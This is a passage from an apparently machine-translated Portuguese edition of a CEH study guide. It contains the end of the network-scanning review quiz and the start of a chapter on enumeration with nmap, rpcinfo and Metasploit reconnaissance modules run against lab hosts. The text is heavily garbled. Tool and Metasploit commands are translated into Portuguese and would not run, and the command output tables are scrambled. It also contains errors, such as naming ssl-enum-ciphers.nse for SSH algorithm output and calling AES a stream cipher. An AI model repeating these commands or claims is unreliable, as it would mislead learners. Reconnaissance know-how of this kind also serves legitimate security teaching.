C.A resposta da conexão à porta 0
E.O campo de ID IP e o número de sequência inicial
190 Capítulo 5 - Redes de digitalização
7.O que o nmap está observando quando realiza uma varredura de versão?
UM.Cabeçalhos TCP e IP
B.Banners de aplicação
C.Kernel do sistema operacional
E.Campos de ID IP e número de sequência TCP
8.Qual é a vantagem de usar o masscan em vez do nmap?
UM.O masscan existe há mais tempo.
B.O Nmap é difícil de usar.
C.O masscan pode escanear mais endereços mais rapidamente.
E.O masscan tem acesso para escanear mais da Internet.
9.Se você visse o seguinte comando sendo executado, o que você presumiria?hping -S -p 25
10.5.16.2
UM.Alguém estava tentando sondar a porta web do alvo.
B.Alguém estava tentando sondar uma porta de e-mail no alvo.
C.Alguém estava tentando identificar se o SNMP era suportado no 10.5.16.2.
E.Alguém digitou erradoping.
10.Se você visse que alguém estava usando o OpenVAS, seguido pelo Nessus, o que você 
presumiria?
UM.Eles estavam tentando invadir um sistema.
B.Eles não sabiam como usar o Nessus.
C.Eles não sabiam como usar o OpenVAS.
E.Eles estavam tentando reduzir falsos positivos.
11.Qual é a diferença entre um falso positivo e um falso negativo?
UM.Um falso positivo indica uma descoberta que não existe, enquanto um falso negativo não 
indica uma descoberta que existe.
B.Um falso positivo indica uma descoberta que existe, enquanto um falso negativo não indica uma 
descoberta que não existe.
C.Um falso positivo não indica uma descoberta que existe, enquanto um falso negativo 
indica uma descoberta que não existe.
E.Um falso negativo indica uma descoberta que não existe, enquanto um falso positivo não 
indica uma descoberta que existe.
12.Qual seria o propósito de executar uma varredura de ping?
UM.Você quer identificar hosts responsivos sem uma varredura de porta.
B.Você quer usar algo que tenha pouco tráfego de rede.
C.Você quer usar um protocolo que possa ser permitido pelo firewall.
E.Tudo o que precede.
Perguntas de revisão 191
13.Qual destas pode ser considerada a pior prática quando se trata de varreduras de vulnerabilidades?
UM.Escaneando servidores de produção
B.Notificar a equipe de operações com antecedência
C.Não tomar nenhuma ação sobre os resultados
E.Usando detalhes limitados em seus relatórios de varredura
14.Qual destas pode ser considerada uma técnica evasiva?
UM.Verificando portas não padronizadas
B.Codificação de dados
C.Usando um servidor proxy
E.Usando nmap no modo cego
15.Se você observasse comandos do sistema operacional dentro de uma solicitação de DNS ao analisar 
uma captura de pacote, o que estaria observando?
UM.Ataque de túnel
B.Amplificação de DNS
C.Recursão DNS
E.Injeção de entidade XML
16.O que é uma varredura de XMAS?
UM.Varredura TCP com conjunto SYN/ACK/FIN
B.Varredura UDP com conjunto FIN/PSH
C.Varredura TCP com conjunto FIN/PSH/URG
E.Conjunto de varredura UDP SYN/URG/FIN
17.Para que você usaria o MegaPing?
UM.Executando exploits
B.Executando uma varredura de porta
C.Emissão de solicitações manuais da web
E.Pacotes de artesanato
18.Qual seria um motivo para usar o recurso Override no OpenVAS?
UM.Você deseja executar um plug-in diferente para uma vulnerabilidade.
B.Você quer alterar as configurações do scanner.
C.Você quer usar TCP em vez de UDP.
E.Você deseja alterar a classificação de gravidade de uma descoberta.
192 Capítulo 5 - Redes de digitalização
19.Para que você usaria credenciais em um scanner de vulnerabilidades?
UM.Maior confiabilidade nas descobertas da rede
B.Autenticação por meio de VPNs para varreduras
C.Verificando vulnerabilidades locais
E.Executando uma verificação do Active Directory
20.Para que o fragroute é usado principalmente?
UM.Alterando rotas de rede
B.Capturando pacotes fragmentados
C.Fragmentando o tráfego do aplicativo
E.Fragmentando cabeçalhos de camada 2 e camada 3
Por Ric Messier
Capítulo Enumeração
6 Os seguintes tópicos do exame CEH são 
abordados neste capítulo:
- - Métodos de avaliação técnica
- - Segurança de rede
- - Vulnerabilidades
- - Servidor de aplicativo/arquivo
O port scanning é basicamente sobre identificar aplicativos que são 
instalados em sistemas dentro da rede alvo. Uma vez que tenhamos 
identificado os aplicativos, no entanto, vamos querer cavar mais fundo 
para ver quais informações adicionais podemos extrair.
Isso pode incluir informações do usuário ou detalhes sobre compartilhamentos que podem estar disponíveis 
na rede. Claro, há outras atividades que podemos executar quando começamos a trabalhar na enumeração. 
Essa coleta de informações será benéfica quando começarmos a passar para os próximos estágios.
Enumeração é sobre determinar quais serviços estão em execução e então extrair informações desses 
serviços. A primeira coisa que você precisa fazer é identificar serviços que estão disponíveis em seus 
sistemas de destino. Cada serviço pode ter muitas informações que podem ser obtidas. Serviços de face 
externa podem ter requisitos de autenticação, o que significa que há usuários. Como exemplo, os usuários 
podem ter que ser autenticados e autorizados a visualizar algumas seções em um servidor web. Você pode 
conseguir que o servidor web lhe dê uma indicação de quais nomes de usuários estão configurados no 
servidor, o queseria um exemplo de enumeração.
Como estamos trabalhando em enumeração, vamos dar uma olhada em alguns protocolos, bem como nas 
ferramentas que você usaria com esses protocolos. Para começar, há o protocolo Server Message Block (SMB). Ele 
é usado em sistemas Windows para compartilhamento de arquivos e recursos, bem como algum gerenciamento 
remoto. Este é definitivamente um caso em que os usuários teriam que se autenticar no serviço, então podemos 
gastar algum tempo tentando encontrar usuários em servidores Windows. Além disso, você pode ser capaz de 
identificar informações de política de segurança associadas ao domínio do Windows. Certamente, você deve ser 
capaz de identificar compartilhamentos de arquivos onde houver alguns.
Outros protocolos que você pode não pensar quando se trata de enumeração são o Simple Mail 
Transfer Protocol (SMTP) e o Simple Network Management Protocol (SNMP). É comum que os usuários 
tenham que se autenticar e ser autorizados antes de enviar e-mails por meio de um servidor SMTP, 
principalmente se estiverem enviando de fora da rede onde o servidor de e-mail está. Se você usa um 
cliente de e-mail tradicional para se conectar ao Gmail ou Office 365, está familiarizado com a necessidade 
de fornecer seu nome de usuário e senha para seu servidor SMTP. Seu cliente pode preencher essas 
informações automaticamente para você, mas elas estão lá se você for olhar as configurações.
O SNMP pode fornecer muitas informações sobre sistemas. Se você puder obter acesso a um sistema 
SNMP, você deve ser capaz de percorrer a base de informações de gerenciamento (MIB) para extrair 
detalhes do seu sistema de destino. Existem ferramentas que farão essa caminhada para você, recuperando 
as informações e apresentando-as a você.
Quando terminarmos este capítulo, você deverá ter um entendimento sólido do que é enumeração, 
bem como quais ferramentas você pode usar para enumerar diferentes recursos em sistemas. Muitas 
dessas ferramentas serão baseadas em Linux e executadas a partir da linha de comando, mas há 
algumas ferramentas do Windows que também veremos.
Enumeração de serviços 195
Enumeração de serviços
Quando você está escaneando sistemas, o nmap é sempre seu amigo. O mesmo é verdade quando se 
trata de enumeração de serviços. Isso significa que você está identificando o serviço em execução no 
sistema de destino. Uma maneira rápida de fazer isso é usar o scan de versão incorporado ao nmap. Na 
listagem de código a seguir, você pode ver uma parte da saída de um scan de versão executado pelo 
nmap em hosts na minha rede. Um scan de versão é realizado usando -sVcomo o parâmetro enviado para 
o nmap. Ele mostra não apenas portas abertas, mas também, onde pode encontrá-las, detalhes sobre os 
serviços e versões que estão em execução nos hosts que foram encontrados respondendo na rede. Ele 
faz isso observando quaisquer banners de aplicativo para extrair detalhes sobre o nome e a versão do 
serviço.
Verificação de versão do nmap
PORTA
22/tcp
25/tcp
80/tcp
443/tcp fechado https
Endereço MAC: 0E:76:03:B8:2A:BA (Desconhecido)
Informações do serviço: SO: Linux; CPE: cpe:/o:linux:linux_kernel
ESTADO
abrir
smtp fechado
abrir http
VERSÃO DE SERVIÇO
ssh OpenSSH 7.7p1 Debian 3 (protocolo 2.0)
Assistente de Segurança Greenbone
Relatório de verificação do Nmap para desktop-3rgc5h2.lan (192.168.86.60). O 
host está ativo (latência de 0,025 s).
PORTA
22/tcp
25/tcp
80/tcp
443/tcp filtrado https
Endereço MAC: C4:9D:ED:AB:DD:7A (Microsoft)
ESTADO
ssh filtrado
smtp filtrado
http filtrado
VERSÃO DE SERVIÇO
Relatório de varredura do Nmap para milobloom.lan (192.168.86.61). O 
host está ativo (latência de 0,94s).
PORTA
22/tcp
25/tcp
80/tcp
443/tcp fechado https
Endereço MAC: B8:09:8A:C7:13:8F (Apple)
ESTADO
abrir
smtp fechado
http fechado
VERSÃO DE SERVIÇO
ssh OpenSSH 7.6 (protocolo 2.0)
196 Capítulo 6 - Enumeração
Como você pode ver, nem todos os serviços fornecem detalhes sobre o que são. Podemos 
identificar o serviço, mas não o aplicativo ou a versão na maioria dos casos. Uma coisa que podemos 
ver na listagem anterior é um punhado de sistemas que estão executando Secure Shell (SSH). Nem 
todos os servidores SSH forneceram versões ou mesmo protocolos. Felizmente, podemos usar o 
nmap novamente para mais detalhes sobre SSH. O Nmap tem recursos de script, e há muitos scripts 
que enumerarão serviços para mais detalhes. Um desses scripts enumerará algoritmos que são 
suportados pelo servidor SSH. O SSH criptografa dados entre o cliente e o servidor, mas os conjuntos 
de cifras usados podem variar entre as conexões, já que os clientes podem suportar diferentes 
forças de chave e algoritmos. Aqui você pode ver o uso do script usado para enumerar os algoritmos 
em servidores SSH,ssl-enum-ciphers.nse.
Enumeração do algoritmo ssh2
PORTA
22/tcp aberto ssh
| ssh2-enum-algos:
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
SERVIÇO DE ESTADO
algoritmos kex: (10)
curva25519-sha256
curve25519-sha256@libssh.org 
ecdh-sha2-nistp256
ecdh-sha2-nistp384
ecdh-sha2-nistp521
diffie-hellman-grupo-troca-sha256 diffie-
hellman-grupo16-sha512 diffie-hellman-
grupo18-sha512 diffie-hellman-grupo14-
sha256 diffie-hellman-grupo14-sha1
algoritmos_de_chave_do_host_do_servidor: (5)
ssh-rsa
rsa-sha2-512
rsa-sha2-256
ecdsa-sha2-nistp256
ssh-ed25519
algoritmos de criptografia: (6)
chacha20-poly1305@openssh.com 
aes128-ctr
aes192-ctr
aes256-ctr
aes128-gcm@openssh.com
aes256-gcm@openssh.com
mac_algoritmos: (10)
Enumeração de serviços 197
|
|
|
|
|
|
|
|
|
|
|
|
|_
Endereço MAC: 0E:76:03:B8:2A:BA (Desconhecido)
umac-64-etm@openssh.com 
umac-128-etm@openssh.com hmac-
sha2-256-etm@openssh.com hmac-
sha2-512-etm@openssh.com hmac-
sha1-etm@openssh.com umac 
-64@openssh.com
umac-128@openssh.com
hmac-sha2-256
hmac-sha2-512
hmac-sha1
algoritmos_de_compressão: (2)
nenhum
zlib@openssh.com
Você verá uma coleção de tipos de algoritmos na saída. O primeiro conjunto de algoritmos é para troca 
de chaves. Um deles é o algoritmo Diffie-Hellman, nomeado em homenagem a Whitfield Diffie e Martin 
Hellman, que foram os primeiros a publicar um algoritmo para troca de chaves. O algoritmo de troca de 
chaves é importante porque a chave é essencial para a criptografia e é gerada no momento em que uma 
conexão é feita. Você também pode ver os algoritmos de criptografia listados. A maioria deles é o Advanced 
Encryption Standard (AES), embora você perceba que um é chamado ChaCha20. Esta é uma cifra de fluxo 
como AES que pode permitir que programas usem criptografia sem a necessidade de uma biblioteca de 
criptografia de código aberto. Finalmente, há o código de autenticação de mensagem, usado para garantir 
que a mensagem não foi adulterada ou corrompida.
Diffie e Hellman foram os primeiros a publicar um algoritmo de troca de chaves, 
mas não foram os primeiros a desenvolver um. As agências de inteligência do 
governo já tinham criado algoritmos de troca de chaves separadamente de Diffie 
e Hellman. A diferença era que os funcionários da agência não conseguiam 
publicar porque seu trabalho não podia ser divulgado fora da agência.
Certamente o nmap pode fornecer um bom começo para obter uma lista de serviços e números 
de versão, mas nem sempre é o suficiente. Há muito mais que pode ser adquirido sobre diferentes 
serviços. Esta é uma área em que o nmap pode ajudar por meio do uso de scripts instalados com o 
nmap. Esses scripts podem ser usados para extrair muitas informações, como os algoritmos em 
SSH, que de outra forma seriam difíceis de obter. O SSH pode fornecer serviços de criptografia, mas 
nem todos os algoritmos de criptografia são livres de vulnerabilidades. É por isso que pode ser útil 
saber tudo sobre serviços. Você nunca sabe onde pode encontrar uma vulnerabilidade.
198 Capítulo 6 - Enumeração
Chamadas de Procedimento Remoto
Uma chamada de procedimento remoto (RPC) é um serviço que permite que sistemas remotos consumam 
procedimentos externos ao aplicativo que os chama. Um programano sistema A pode chamar uma função 
ou procedimento em outro sistema na rede. Ele faz isso usando o protocolo RPC. No que diz respeito ao 
programa no computador local que chama o procedimento remoto, é um procedimento local existente no 
mesmo espaço de processo que o restante do código. O programa chama esse procedimento, obtém as 
informações e prossegue seu caminho alegremente. RPCs fornecem uma maneira para dois processos se 
comunicarem um com o outro.Remotogeralmente significa um servidor remoto, mas dois processos locais 
também podem usar RPCs para se comunicarem entre si.
SunRPC
A ideia de comunicação entre processos já existe há décadas. Houve várias implementações de 
protocolos de solicitação-resposta ao longo das décadas. O Remote Method Invocation (RMI) do Java 
é um exemplo recente disso. Antes disso, havia o Common Object Request Broker Architecture 
(CORBA), que era independente da implementação da linguagem. Às vezes, com RPCs, você precisa 
do que é essencialmente um serviço de diretório para indicar as portas dinâmicas nas quais 
diferentes serviços estão sendo executados.
Uma implementação comum de chamadas de procedimento remoto é o programa portmap, também 
conhecido como rpcbind. Este programa é usado para fornecer informações sobre programas que foram 
registrados com o serviço portmapper, fornecendo esses procedimentos remotos. O portmapper atribui uma 
porta para o serviço escutar e, quando consultado, pode fornecer essas informações de volta. Exemplos comuns 
de serviços que usam rpcbind/portmap são servidores de compartilhamento de arquivos como o Network File 
Server (NFS).
O pacote que fornece o serviço portmapper ou rpcbind também pode fornecer utilitários que 
também podem se comunicar usando RPC. Isso é feito pela porta 111. Para identificar programas e 
portas associadas em um sistema remoto, você pode usar o programa rpcinfo. Você pode ver um 
exemplo do uso de rpcinfo mostrado aqui. O comando usado,rpcinfo -p,tem rpcinfo sondando o 
host fornecido. Neste caso, o host é um endereço IP em vez de um nome de host.
lista rpcinfo
kilroy@bobbie $ rpcinfo -p 192.168.86.52
programa versus proto
100000
100000
100000
100000
100000
100000
porta
111
111
111
111
111
111
serviço
mapeador de portas
mapeador de portas
mapeador de portas
mapeador de portas
mapeador de portas
mapeador de portas
4
3
2
4
3
2
TCP
TCP
TCP
UDP-Digitalização
UDP-Digitalização
UDP-Digitalização
Chamadas de Procedimento Remoto 199
100005
100005
100005
100005
100005
100005
100003
100003
100227
100003
100227
100021
100021
100021
100021
100021
100021
1
1
2
2
3
3
3
4
3
3
3
1
3
4
1
3
4
UDP-Digitalização
TCP
UDP-Digitalização
TCP
UDP-Digitalização
TCP
TCP
TCP
TCP
UDP-Digitalização
UDP-Digitalização
UDP-Digitalização
UDP-Digitalização
UDP-Digitalização
TCP
TCP
TCP
43939
58801
46384
50405
49030
50553
2049
2049
2049
2049
2049
34578
34578
34578
39297
39297
39297
montado
montado
montado
montado
montado
montado
NFS
NFS
nfs_acl
NFS
nfs_acl
nlockmgr
nlockmgr
nlockmgr
nlockmgr
nlockmgr
nlockmgr
Os programas mostrados anteriormente que têm procedimentos remotos registrados com rpcbind 
estão associados ao servidor de compartilhamento de arquivos NFS. O portmapper do programa é o serviço 
primário que é consultado para dados adicionais, mas os outros, como mountd, nfs e nlockmanager, são 
todos necessários para NFS. O NFS foi desenvolvido pela Sun Microsystems. O portmapper é uma 
implementação do RPC que também foi associada à Sun. Às vezes, você pode vê-lo referido como SunRPC. 
Este é o caso de um scanner no Metasploit que também pode ser usado para identificar as portas alocadas 
para programas usando o portmapper.
scanner metasploit sunrpc
msf > usar auxiliar/scanner/misc/sunrpc_portmapper
msf auxiliar(scanner/misc/sunrpc_portmapper) > definir RHOSTS 192.168.86.52 
RHOSTS => 192.168.86.52
msf auxiliar(scanner/misc/sunrpc_portmapper) > executar
[+] 192.168.86.52:111
================================
- Programas SunRPC para 192.168.86.52
Nome
- - - -
montado
montado
montado
Número
- - - - - -
100005
100005
100005
Versão
- - - - - - -
1
1
2
Porta
- - - -
43939
58801
46384
Protocolo
- - - - - - - -
UDP-Digitalização
TCP
UDP-Digitalização
200 Capítulo 6 - Enumeração
scanner metasploit sunrpc(continua)
montado
montado
montado
NFS
NFS
NFS
nfs_acl
nfs_acl
nlockmgr
nlockmgr
nlockmgr
nlockmgr
nlockmgr
nlockmgr
ligação rpc
ligação rpc
ligação rpc
ligação rpc
ligação rpc
ligação rpc
100005
100005
100005
100003
100003
100003
100227
100227
100021
100021
100021
100021
100021
100021
100000
100000
100000
100000
100000
100000
2
3
3
3
4
3
3
3
1
3
4
1
3
4
4
3
2
4
3
2
50405
49030
50553
2049
2049
2049
2049
2049
34578
34578
34578
39297
39297
39297
111
111
111
111
111
111
TCP
UDP-Digitalização
TCP
TCP
TCP
UDP-Digitalização
TCP
UDP-Digitalização
UDP-Digitalização
UDP-Digitalização
UDP-Digitalização
TCP
TCP
TCP
TCP
TCP
TCP
UDP-Digitalização
UDP-Digitalização
UDP-Digitalização
[*] Escaneou 1 de 1 hosts (100% concluído) [*] 
Execução do módulo auxiliar concluída
Como estamos escaneando o mesmo host, não é inesperado que obteríamos os mesmos resultados 
usando o módulo Metasploit que obtivemos do rpcinfo. Como tudo o que está acontecendo é consultar o 
processo portmapper, você pode usar qualquer ferramenta que lhe seja mais confortável. Há algumas 
vantagens em usar essas ferramentas em vez do nmap. A primeira é que você obterá o nome do processo 
verificando com o portmapper. A segunda é que você não obterá todas as portas usando o nmap, a menos 
que indique especificamente que deseja escanear todas as portas. O intervalo de portas fornecido pelo 
portmap não está na lista de portas bem conhecidas que o nmap escaneia.
Invocação de método remoto
Os programas Java são muito populares, especialmente quando se trata de aplicativos da web. Java fornece 
muita assistência aos programadores, especialmente quando se trata de bibliotecas e interfaces que podem 
ser implementadas com sua própria funcionalidade. Java inclui sua própria capacidade para chamadas de 
procedimentos remotos, embora em Java seja chamado de invocação de método remoto (RMI). Para ter um 
programa que usa RMI, o sistema precisa de uma versão do portmapper para Java chamada rmiregistry. O 
programa que usa RMI se registra com o programa rmiregistry. Isso significa que qualquer um pode 
verificar com o rmiregistry para ver quais serviços são
Chamadas de Procedimento Remoto 201
oferecido. O programa rmiregistry responderá de forma similar ao que vimos quando 
verificamos com o portmapper.
Dizem que RMI é a versão orientada a objetos do RPC. Isso significa que os objetos são passados entre 
o servidor e o cliente. O cliente implementa um stub por meio de uma interface. Uma interface é um termo 
orientado a objetos que indica uma definição de uma classe. O stub se comunica com um esqueleto no 
servidor. Quando um programador está criando um programa que usa RMI, ele usa um compilador RMI (o 
programa rmic). Os programas que usamos para conectar a um registro RMI para enumerar serviços que 
são registrados não precisam saber as interfaces específicas necessárias para passar objetos entre o 
esqueleto e o stub porque a única coisa que a enumeração está fazendo é identificar os esqueletos ou 
serviços no sistema remoto. Começaremos com o Metasploit para executar uma varredura em um sistema 
que tem RMI. Você pode ver um exemplo de uso do Metasploit para enumeração RMI aqui:
executando o scanner rmi no metasploit
msf > usar auxiliar/gather/java_rmi_registry
msf auxiliar(gather/java_rmi_registry) > mostrar opções
Opções do módulo (auxiliary/gather/java_rmi_registry):
Nome
- - - -
RHOST
RPORT
Configuração atual
- - - - - - - - - - - - - - -
Obrigatório
- - - - - - - -
sim
sim
Descrição
- - - - - - - - - - - O 
endereço de destino
A porta de destino (TCP)1099
auxiliar msf (reunir/java_rmi_registry) > definir RHOST 192.168.86.62 RHOST 
=> 192.168.86.62
msf auxiliar(gather/java_rmi_registry)

Mais conteúdos dessa disciplina